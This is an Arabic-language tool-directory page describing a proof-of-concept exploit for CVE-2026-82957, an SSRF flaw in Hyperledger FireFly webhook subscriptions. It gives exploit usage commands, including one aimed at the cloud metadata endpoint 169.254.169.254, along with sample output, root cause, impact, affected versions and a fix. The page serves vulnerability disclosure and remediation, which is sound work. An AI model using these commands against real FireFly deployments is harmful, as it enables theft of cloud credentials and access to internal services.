Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-82957 — إثبات مفهوم استغلال لـ CVE-2026-82957، وهو ثغرة SSRF في اشتراكات webhook الخاصة بـ Hyperledger FireFly تُجبر العقدة على طلب عناوين URL داخلية أو خاصة ببيانات وصفية سحابية. | Kitploit
أدوات/GitHubGitHub/hakaioffsec/cve-2026-82957
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقأمن السحابة
GitHubhakaioffsec/cve-2026-82957

CVE-2026-82957

إثبات مفهوم استغلال لـ CVE-2026-82957، وهو ثغرة SSRF في اشتراكات webhook الخاصة بـ Hyperledger FireFly تُجبر العقدة على طلب عناوين URL داخلية أو خاصة ببيانات وصفية سحابية.

عرض المستودع
1منذ 23 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

SSRF في اشتراكات Webhook الخاصة بـ Hyperledger FireFly (CVE-2026-82957)

استغلال إثبات مفهوم لثغرة CVE-2026-82957، وهي ثغرة تزوير الطلبات من جانب الخادم (CWE-918) في ناقل الأحداث webhooks الخاص بـ Hyperledger FireFly Core. أي عميل قادر على إنشاء اشتراك في الأحداث يمكنه تسجيل webhook لا يتم التحقق من عنوان URL الخاص به أبدًا — فعندما يحدث حدث مطابق، تقوم عقدة FireFly نفسها بإصدار طلب HTTP. وتوجيهه نحو عناوين داخلية فقط (بيانات وصفية للسحابة، loopback، خدمات RFC1918) يحوّل العقدة إلى وكيل مخدوع.

المتطلبات

مكتبة Python 3 القياسية فقط — بدون أي تبعيات.

$ python3 cve_2026_82957.py --help

الاستخدام

الخطوة 1 — ابدأ مستمعًا على الجهاز الذي يجب أن يصل إليه عقدة FireFly (ضحية SSRF):

$ python3 -m http.server 8000 --bind 0.0.0.0

الخطوة 2 — تشغيل الاستغلال. -t هو عنوان URL الأساسي لواجهة FireFly API، و-u هو عنوان URL الذي سيُجبر العقدة على طلبه:

# Point at your listener (host as seen from the FireFly container)
$ python3 cve_2026_82957.py -t http://target:5000 -u http://<host-ip>:8000/PWNED

# Arbitrary internal target (cloud metadata, internal service, etc.)
$ python3 cve_2026_82957.py -t http://target:5000 -u http://169.254.169.254/latest/meta-data/

# Non-default namespace
$ python3 cve_2026_82957.py -t http://target:5000 -n default -u http://<host-ip>:8000/PWNED

بالنسبة لعقدة FireFly تعمل في Docker، يكون <host-ip> هو بوابة شبكة الجسر — اعثر عليها باستخدام docker network inspect <network> (الحقل IPAM.Config.Gateway، مثل 172.21.0.1).

المخرجات المتوقعة:

[*] Step 1: creating webhook subscription with unvalidated internal URL
[+] Subscription accepted (201) - id 9bd2bbb9-... - host was NOT validated
[*] Step 2: triggering event to fire the webhook
[+] Broadcast accepted (202)
[!] The FireFly node has now issued the request itself.

سجل المستمع — عنوان IP المصدر هو عنوان IP لحاوية عقدة FireFly، وليس جهاز المهاجم، مما يثبت أن الطلب تم تزويره بواسطة الخادم. تم تأكيد SSRF:

172.21.0.8 - - [12/Oct/2026 17:46:47] "GET /PWNED HTTP/1.1" 404 -

الإصدارات المصابة

  • جميع الإصدارات التي تستخدم نقل webhook، حتى الإصدار v1.5.0 ضمناً
  • أُدخلت في الـ commit 215c69181 ("التنفيذ الأساسي لاستدعاء webhooks"، 2021-06-20)
  • لا تزال موجودة في e3c9b8d89 (main) — لا يوجد commit بين الاثنين يضيف التحقق من المضيف
  • تم التحقق منها فعلياً مقابل v1.4.0 و v1.5.0

السبب الجذري

الملف: internal/events/webhooks/webhooks.go

السطرالكودالمشكلة
191url: options.GetString("url")يُؤخذ الهدف حرفياً من مدخلات المستخدم
266ValidateOptions(...)يتحقق من التنسيق/الترويسات/المهلات لكنه لا يتحقق أبداً من المضيف
394req.r.Execute(req.method, req.url)يُطلق الطلب

لا توجد قائمة سماح/حظر على الوجهة المُحلَّلة: لا يوجد حظر لعناوين loopback أو الخاصة (RFC1918) أو link-local (169.254.0.0/16)، كما أن المضيف والمخطط كلاهما تحت سيطرة المهاجم بالكامل. لا يُشحن FireFly بأي إضافة مصادقة API افتراضياً، لذا يمكن أن يكون إنشاء الاشتراك بدون مصادقة.

نقاط النهاية المتأثرة

  • POST /api/v1/namespaces/{ns}/subscriptions — ينشئ webhook الخبيث (يُرجع 201 Created لعناوين URL الداخلية)
  • أي استدعاء API يُصدر حدثاً يطابق مرشح الاشتراك (مثل POST /api/v1/namespaces/{ns}/messages/broadcast) — يُفعّل الطلب المزوّر

التأثير

CWE-918 تزوير الطلب من جانب الخادم (SSRF). يمكن للمهاجم:

  • الوصول إلى الخدمات الداخلية غير المكشوفة خارجياً (قواعد البيانات، لوحات الإدارة، حاويات sidecar)
  • قراءة بيانات الاعتماد السحابية من نقطة نهاية بيانات التعريف الخاصة بالنسخة (169.254.169.254) → تصعيد إلى حساب السحابة
  • SSRF كامل القراءة: مع "reply": true تُعاد الاستجابة الداخلية إلى المهاجم كحدث FireFly — وليس أعمى
  • مسح المنافذ للشبكة الداخلية عبر فروق الأخطاء/التوقيت

CVSS

~8.5 High CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N — تعتمد الخطورة على ما إذا كان الـ API خلف مصادقة.

الإصلاح

في ValidateOptions، قم بتحليل عنوان URL، وحلّ المضيف، وارفض عناوين loopback/الخاصة/link-local/غير المحددة؛ قيّد المخطط بـ http/https؛ أعد التحقق من IP المُحلَّل وقت الاتصال (DialContext مخصص) لصد DNS-rebinding؛ ويُفضّل كشف قائمة سماح قابلة للتكوين لمضيفي webhook المسموح بهم.

إخلاء المسؤولية

هذه الأداة لأغراض تعليمية وبحثية فقط. استخدمها فقط على الأنظمة التي تملكها أو لديك إذن صريح باختبارها. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر يسببه هذا البرنامج.

QuimeraX Intelligence

QuimeraX Intelligence هي منصة متقدمة لإدارة سطح الهجوم الخارجي (EASM) واستخبارات التهديدات السيبرانية، متخصصة في تحديد الثغرات الحرجة في الأنظمة المعقدة. تراقب المنصة بشكل استباقي وتكتشف وتنبّه العملاء بشأن التهديدات الأمنية، مما يضمن الشفافية والاستجابة السريعة للمخاطر المحتملة. يتلقى العملاء إشعارات فورية وتقارير شاملة إذا وُجدت أنظمتهم عرضة للثغرات، مما يمكّنهم من اتخاذ إجراءات وقائية. اعرف المزيد

Hakai Security

Hakai Security هي شركة أمن سيبراني أسسها محترفو أمن، ملتزمة بالتميز التقني. نقدم حلولاً أمنية مخصصة تشمل اختبار الاختراق المتقدم، ومحاكاة Red Team الواقعية، وممارسات التطوير الآمن لحماية أصول عملائنا بشكل استباقي من التهديدات السيبرانية المتطورة.

Hacking Club

Hacking Club هي منصة التدريب التي تتعلم فيها الأمن السيبراني من خلال دروس عملية ومختبرات وتحديات أنشأها خبراء يعملون في شركة الاستشارات الأمنية الخاصة بنا: مباشرة من ساحة المعركة إلى تدريبك.

تنزيل الأداة